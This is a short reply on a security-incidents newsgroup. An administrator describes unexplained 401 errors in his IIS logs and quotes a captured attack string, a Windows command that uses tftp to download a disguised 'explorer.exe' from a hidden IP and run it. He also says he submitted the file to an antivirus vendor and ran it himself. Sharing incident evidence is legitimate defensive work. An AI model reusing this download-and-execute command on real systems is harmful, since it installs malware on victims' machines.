Re: Re: New http attack?

[email protected]
Newsgroups gmane.comp.security.incidents
Message-ID <[email protected]> 
Hello,

saw your post after considerable searching for the same mysterious 'get / 401' errors in my IIS log. I managed to get a full capture of the communication, further down from the 'QUFB' repetition was an embedded string:

cmd /c tftp -i x.x.x.x GET explorer.exe
start explorer.exe
exit

have hidden IP for obvious reasons. I managed to download the file myself manually, and submitted to symantec, as my virus checker didnt flag it. incidentally, i ran the file, and it wasn't explorer, though i dont know what it is.

Phil
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.